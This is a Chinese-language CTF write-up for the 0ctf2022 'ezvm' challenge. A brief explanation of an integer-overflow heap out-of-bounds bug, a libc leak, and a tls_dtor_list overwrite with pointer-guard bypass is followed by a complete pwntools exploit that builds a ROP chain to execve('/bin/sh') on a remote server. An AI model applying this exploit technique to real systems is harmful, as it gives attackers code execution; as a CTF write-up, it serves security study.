# 思路

在申请 memery 的时候存在整数溢出,程序虽然会检测到,但是允许我们进行一次的整数溢出申请,这样实际的 memery 的 count 很大,但是 chunk 的大小远小于这个值,造成了堆块的越界读写。
当我们申请一个很大的堆块,会在 libc 附近分配,配合越界写,我们就可以修改 tls_dtor_list, 以及 secret 的值。
chunk 的释放冲 i 性能申请没有对其进行清空,所以,我们申请出一个 largebin 范围的 chunk,然后释放,这样再次将其申请出来的时候,在 memery [1] 会存有一个指针,就可以知道 libc 的及地址了。将这个数据存在这个 chunk+0x1d0 附近,在这里写一些数据,拼接出 mov_r_i 的指令,以及一个 jmp 到低地址的指令 释放。然后我们我们这次的时候,codesize 为 0x200, 就会将刚写进去的拼接指令,放到 code 的靠后的位置,我们只需要在 code 的最开始写一个 jmp,让 vm 跳到我们刚写的拼接指令哪里,将 libc 的放入寄存器。同时这一次的 memerycount 要发生溢出,并且在 libc 附近申请到一个 chunk. 这样根据偏移量,结合程序的一些基本运算,就得到了函数地址,gadget 地址。然后修改 tls_dtor_list 到 heap 上,并在哪里填充 rop, 以及修改 searet 的值。最后触发程序错误,直接 exit,getshell

# exp

from pwn import *
#r=process('./ezvm')
r=remote('202.120.7.210',40241)
code =b'\x00'*0
def push(rig):
	global code
	code +=p8(0)+p8(rig)
def pop(rig):
	global code
	code +=p8(1)+p8(rig)
def add():
	global code
	code+=p8(2)
def sub():
	global code
	code +=p8(3)
def imul():
	global code
	code +=p8(4)
def div():
	global code
	code+=p8(5)
def yu():
	global code
	code +=p8(6)
def left():
	global code
	code+=p8(7)
def right():
	global code
	code +=p8(8)
def And():
	global code
	code +=p8(9)
def Or():
	global code
	code +=p8(11)
def xor():
	global code
	code +=p8(12)
def judge0():
	global code
	code +=p8(13)
def jmp(address):
	global code
	code +=p8(14)+p64(address)
def jnz(address):
	global code
	code +=p8(15)+p64(address)
def jz(address):
	global code
	code +=p8(16)+p64(address)
def cmpequ():
	global code
	code+=p8(17)
def cmpsml():
	global code
	code+=p8(18)
def cmpbig():
	global code
	code +=p8(19)
def mov_r_i(rig,num):
	global code
	code+=p8(20)+p8(rig)+p64(num)
def mov_m_r(rig,offset):
	global code
	code +=p8(21)+p8(rig)+p64(offset)
def mov_r_m(rig,offset):
	global code
	code +=p8(22)+p8(rig)+p64(offset)
def clear():
	global code
	code = b'\x00'*0
#size(stack) = 0x800 ====>we can use it to save 0x100 nums
def runcode(code,code_size,mem_size):
	
	r.sendlineafter("Please input your code size:",str(code_size))
	r.sendlineafter("Please input your memory count:",str(int(mem_size/8)))
	r.sendlineafter("Please input your code:",code)
mov_r_i(0,0x111111)
mov_r_i(1,0x222222)
mov_r_i(2,0x333333)
mov_r_i(3,0x444444)
push(0)
push(1)
push(2)
push(3)
#context.log_level = 'debug'
print(len(code))
r.sendlineafter("Welcome to 0ctf2022!!",'aaa')
runcode(code,0xf0,0x600)
#gdb.attach(r,'brva 0x000001582')
clear()
#leak the libc
mov_r_m(0,0)
mov_r_m(0,0)
mov_r_i(1,0x219ce0)
mov_r_i(1,0x219ce0)
push(2)
push(3)
push(0)
push(1)
sub()
pop(0)#put libc into heap
mov_r_i(1,0x14000000000000)
mov_m_r(1,0x3a-0xa)
mov_m_r(0,0x3b-0xa)
mov_r_i(1,0xfffffffffffe700e)#jmp
mov_m_r(1,0x3c-0xa)
mov_r_i(2,0xffff)#addr
mov_m_r(2,0x3d-0xa)
print(len(code))
r.sendlineafter("continue",'')
runcode(code,0xf0,0x600)
clear()
#we have the libc in mem
tls_offset = 0x0028c0  #libc - 
tls_dtor_list_offset = 0x0416d8#libc-
secret_offset = 0x0028c0-0x30
heap_offset = 0x43ff0
sec_heap_offset = 0x0082ec
tls_dtor_list_heap_offset = 0x0082bb
#gdb.attach(r)
#code3 we need to malloc  a big one
jmp(0x000186-9)
push(0)
mov_m_r(0,0)	#memery[0]  ==libc
# mov_r_i(1,secret_offset)
# push(1)
# sub()
# pop(2)
# mov_m_r(2,1)	#memery[1] = secret_address
sec = 0x5143329d0ccc697
mov_r_i(1,sec)
mov_m_r(1,sec_heap_offset)	#secret = 0xcafebabedeadbeef
pos_offset = int(0x100/8)
#read rop to che chunk 
'''rop
leave_ret = libc + 0x000562ec
prdi = libc + 0x002a3e5
prsi = libc + 0x02be51
prdx_pr12 = libc +0x011f497
binsh = libc + 0x001d8698
execve = libc + 0xeb0f0
addr = ((leave_ret^sec)<<0x11)&0xffffffffffff8000
addr += ((leave_ret^sec)>>0x2f)&0x7fff
rop = p64(prdi) + p64(binsh)
rop += p64(prsi) + p64(0)
rop += p64(prdx_pr12) + p64(0)*2
rop += p64(execve)
'''
leave_ret =  0x000562ec
prdi =  0x002a3e5
prsi =  0x02be51
prdx_pr12 = 0x011f497
binsh = 0x001d8698
execve =  0xeb0f0
#write leave ret
push(0)
mov_r_i(1,leave_ret)
push(1)
add()
mov_r_i(1,sec)
push(1)
xor()
pop(2)
push(2)		#2 xor save
push(2)
mov_r_i(1,0x11)
push(1)
left()
mov_r_i(1,0xffffffffffff8000)
push(1)
And()
pop(2)		#addr lef
pop(3)		
push(3)		#xor res
mov_r_i(1,0x2f)
push(1)
right()
mov_r_i(1,0x7fff)
push(1)
And()
push(2)
add()
pop(2)				#leave_ret_encrept
mov_m_r(2,pos_offset)
pos_offset+=1
#pop _rdi
push(0)
mov_r_i(1,prdi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1
#binsh
push(0)
mov_r_i(1,binsh)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1
#pop rsi
push(0)
mov_r_i(1,prsi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1
#0
pos_offset+=1
#prdx 0 0
push(0)
mov_r_i(1,prdx_pr12)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=3
#execve
push(0)
mov_r_i(1,execve)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
#change the tls_dtor_list
push(0)
mov_r_i(1,heap_offset-0x100)
push(1)
sub()
pop(2)
mov_m_r(2,tls_dtor_list_heap_offset+0x20)	#list = heap_address
push(4)
#gdb.attach(r,'b exit')
context.log_level = 'debug'
print(hex(len(code)))
r.sendlineafter("continue",'')
r.sendlineafter("Please input your code size:",str(0x1f0))
r.sendlineafter("Please input your memory count:",str(0x6000000000008000))
r.sendlineafter("Please input your code:",code)
r.interactive()